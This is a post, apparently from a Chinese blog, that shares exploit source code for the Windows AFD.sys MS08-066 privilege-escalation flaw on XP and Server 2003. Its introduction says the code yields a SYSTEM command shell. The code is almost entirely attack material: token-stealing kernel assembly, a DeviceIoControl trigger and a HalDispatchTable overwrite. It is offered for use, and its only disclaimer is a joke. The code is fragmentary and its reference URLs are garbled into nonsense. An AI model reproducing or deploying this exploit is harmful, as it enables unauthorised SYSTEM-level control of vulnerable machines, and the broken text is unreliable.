exploit 代码如下
运行后会得到了一个cmd的system权限的shell
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////
//// Microsoft Windows AFD.sys MS08-066
//// Privilege Escalation Exploit XP & 2003
//// ---------------------------------------------
//// This code can only be used for personal study
//// and research purposes on odd days.
//// ---------------------------------------------
typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
int Callback_Overview()
{
printf("\n");
printf("================================================= \n");
printf(" Microsoft Windows AFD.sys (MS08-066) \n");
printf(" Privilege Escalation Exploit \n");
printf(" XP && 2003\n");
printf("================================================= \n");
printf(" Orginal Author Ruben Santamarta\n\n");
printf(" Modified by vessial\n\n");
printf("+ References:\n");
printf(" b80K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2A6j5%4u0G2M7$3!0X3N6q4)9J5k6h3y4G2L8g2)9J5c8Y4c8W2j5$3S2F1k6i4c8Q4x3V1k6K6k6h3y4#2M7X3W2@1P5g2)9J5c8X3u0#2L8r3I4W2N6r3W2F1i4K6u0r3L8i4x3H3z5q4)9J5k6r3!0U0N6q4)9J5k6h3#2K6M7s2S2Q4y4f1y4F1");
printf(" 3f4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4u0W2N6X3g2J5M7$3g2E0L8$3c8W2i4K6u0W2j5$3!0E0i4K6g2o6L8W2)9#2b7$3^5`.");
printf(" hi.baidu.com/vessial\n\n");
return 1;
}
search2003:
mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // Find System Process
jne search2003
mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token
ret 8
ULONG_PTR HalDispatchTable;
ULONG_PTR BaseNt = 0x804d8000; //kernel loaded address,so you can dynamic get this:),but i am a lazy guy
ULONG_PTR result;
LPVOID addr = (LPVOID)0x01000000;
peer.sin_family = AF_INET;
peer.sin_port = htons( 0x01bd );//connecting localhost 445 port,if this port not open ,you can netstat -an your host ,which one is listen
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); //
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
{
printf("\n[!!] You should not see this! \n\n");
exit(0);
}
printf("[+] Sending IOCTL...\n");
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)outBuff,0,
&junk,
NULL);
printf("\n");
printf("[+] Received Bytes from Peer Address:\n\t-> ");
for( i = 0; i < sizeof( peer ) ; i++)
{
printf(" %02X ",(unsigned char)outBuff[i]);
}
printf("\n\n");
printf("[+] Overwriting HalDispatchTable with those bytes...");
